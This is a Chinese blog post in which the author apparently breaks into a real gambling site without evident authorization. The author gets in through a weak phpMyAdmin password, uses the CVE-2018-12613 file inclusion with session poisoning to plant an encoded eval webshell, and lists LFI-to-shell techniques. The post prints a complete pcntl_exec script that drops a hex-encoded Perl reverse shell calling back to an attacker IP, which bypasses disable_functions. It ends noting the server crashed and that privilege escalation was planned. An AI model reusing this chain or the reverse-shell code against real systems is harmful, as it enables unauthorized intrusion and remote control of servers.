看到有人在发推广,说是“好玩又挣钱”。说的让人有点心动,我也想玩。开个无痕窗口点进去看看,发现原来是一个欢乐老虎机,那就玩一玩呗。
简单扫了一下目录,发现有phpinfo.php存在,是一个极其古老的PHP版本。
另外还有一个phpMyAdmin,搞笑的是弱密码可以直接登录。
能登进去攻击面就大多了,先考虑老套路,使用general_log结合phpinfo 中的绝对路径写webshell,然而在写的过程中发现,www目录下完全没有写的权限,再加上open_basedir的限制,
能自由活动的范围就小了。
如果单纯写入tmp目录下,则无法直接访问,有个文件包含就好了。
PMA的主面板可看到详细的MySQL之类的版本信息,按这个线索再找找看。天无绝人之路,他的phpmyadmin4.8.1已经爆出过文件包含的漏洞,此时只要拥有直接写文件的条件或者上传文件即可getshell。
无奈上面的限制,目标继续锁定到tmp,再尝试下之前写日志的办法写一下shell,可惜又遇到了问题,mysql用户写入的文件,www用户读不了!
在有本地文件包含的漏洞下,这里简单介绍一下LFI 拿shell的几种常见方法:
有上传点
这是最简单的,即使限制的再死,只要能插入恶意代码,结合文件包含就能成功。
日志投毒
所有能投毒的日志都可以尝试,比如ssh、Apache/nginx、mail。
ProcEnviron注入
/proc/self/environ文件中有当前进程的环境变量。
如果可以包含,并且里面有HTTP_USER_AGENT,我们就可以通过UA 头进行注入,然后包含上面那个文件即可。
爆破/proc/self/fd/
如果有软连接映射到access.log 这样的日志文件就可以利用上面的手法了
php崩溃留下临时文件
如果不清楚文件详细名称,可以结合一些模糊匹配的办法,比如?、<、>。
可参考:https://www.anquanke.com/post/id/183046
结合具体的web应用
对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。
所以这有了一种更加简单的办法,直接进行SQL查询来插入恶意语句。
选好了方向就开始干活了,又遇到一个小问题,这台机器可能开了一些安全服务。直接传入$_POST $_GET 这种直接给你转成小写了。如果传入数据还有eval,立马封IP,有点狠,但是问题不大,可以曲线救国一下,将<?eval($_GET[1]);?>编码后再解码写入。
再包含一下session,使得刚刚的代码能过执行。先找一下session的具体位置,从phpinfo中可知,session的sava_path为空,那就是默认tmp了。
常见session存放位置:(phpsessid可从cookie中看到)
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
可看到成功包含。
想了解更多的文件包含漏洞学习,可到合天网安实验室学习实验——CVE-利用phpMyAdmin文件包含漏洞包含.frm文件从而进行RCE
相关实验:CVE-2018-12613phpMyAdmin文件包含漏洞
点击前往 合天网安实验室 学习操作更多实验哦
写入成功,拿起我们的中国菜刀!你以为到这里就结束了吗?还早着呢:)由phpinfo可知,这里设置了disable_function。
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
仔细看了一下发现还是有漏网之鱼的:pcntl_exec,这个的利用姿势已经很成熟了。
利用成功脚本如下:( PHP4 >= 4.2.0, PHP 5 on Linux )
/*******************************
* 查看 phpinfo 编译参数 --enable-pcntl
* 作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit(' 写入'.$file.' 失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo ' 不支持 pcntl 扩展';
}
成功拿到shell。
本来想过几天再提一下权的,可惜Apache已经崩了,等待管理员重启。